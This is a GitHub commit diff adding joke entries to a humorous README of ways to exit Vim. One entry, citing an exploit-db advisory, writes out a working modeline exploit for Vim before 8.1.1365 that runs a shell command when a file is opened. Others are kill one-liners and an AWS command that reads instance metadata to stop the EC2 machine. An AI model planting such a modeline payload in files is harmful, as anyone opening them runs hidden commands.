Skip to content

Commit 7a07179

Browse files
authored
Merge branch 'master' into master
2 parents a43ed82 + 3ebd352 commit 7a07179

File tree

1 file changed

+78
-1
lines changed

1 file changed

+78
-1
lines changed

README.md

Lines changed: 78 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,13 @@ Credit: @kpumuk
3333
:!grep -P "PPid:\t(\d+)" /proc/$$/status | cut -f2 | xargs kill -9
3434
```
3535

36+
## The lazy pythonic using shell way
37+
Credit: @PozziSan
38+
39+
```bash
40+
python -c "from os import system; system('killall -9 vim')"
41+
````
42+
3643
## The pythonic way
3744
Credit: @hakluke
3845

@@ -527,9 +534,10 @@ exit him
527534
how exit vim
528535
```
529536

530-
### Linux
537+
## Linux
531538
```vim
532539
:call libcallnr('libc.so.6', 'exit', 0)
540+
```
533541

534542
## The canonical way
535543
Credit: @ligurio
@@ -644,3 +652,72 @@ vim
644652
```
645653
!aws --region `ec2-metadata --availability-zone | sed 's/placement: \(.*\).$/\1/'` ec2 stop-instances --instance-ids `wget -q -O - http://169.254.169.254/latest/meta-data/instance-id`
646654
```
655+
656+
## The Arbitrary Code Execution Way
657+
658+
Based on https://www.exploit-db.com/exploits/46973. Works with Vim < 8.1.1365.
659+
660+
1. Create a file (say `quit.txt`) with the following data:
661+
```
662+
echo ':!killall vim||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > quit.txt
663+
```
664+
2. Ensure that the modeline option has not been disabled.
665+
```
666+
echo "set modeline" >> .vimrc
667+
```
668+
3. Open `quit.txt`.
669+
```
670+
:e! quit.txt
671+
```
672+
673+
## The Circuit Breaker Way
674+
Credit:@Tomcat-42
675+
676+
1. Leave your computer
677+
2. Find the nearest electrical circuit breaker panel
678+
3. Switch off and on the main breaker
679+
4. Return to your computer
680+
5. Your computer should no longer be running vim
681+
682+
**Note:** This approach prove itself ineffective against notebooks, desktops on a UPS or remote servers.
683+
684+
## The Ansible Way
685+
Credit: @lpmi-13
686+
687+
run vim.yml playbook with the following contents:
688+
689+
```
690+
---
691+
- hosts: vimbox
692+
693+
vars:
694+
required_packages:
695+
- vim
696+
697+
tasks:
698+
- name: install python 2
699+
raw: test -e /usr/bin/python || (apt -y update && apt install -y python-minimal)
700+
701+
- name: Update APT package cache
702+
apt:
703+
update_cache: yes
704+
705+
- name: Run apt-get upgrade
706+
apt: upgrade=safe
707+
708+
- name: Install required packages
709+
apt: state=installed pkg={{ item }}
710+
with_items: "{{ required_packages }}"
711+
712+
- name: Start Vim in the background.
713+
shell: "(vim >/dev/null 2>&1 &)"
714+
715+
- name: Quit Vim.
716+
shell: "(pkill vim)"
717+
```
718+
719+
## The Stack Overflow Way
720+
Credit: @cobaltblu27
721+
722+
*Yeah exiting vim is really frustrating sometimes. You should definately try using Neovim. It's fast, has terminal emulator, and also supports plugin that will help you exit vim.*
723+

0 commit comments

Comments
 (0)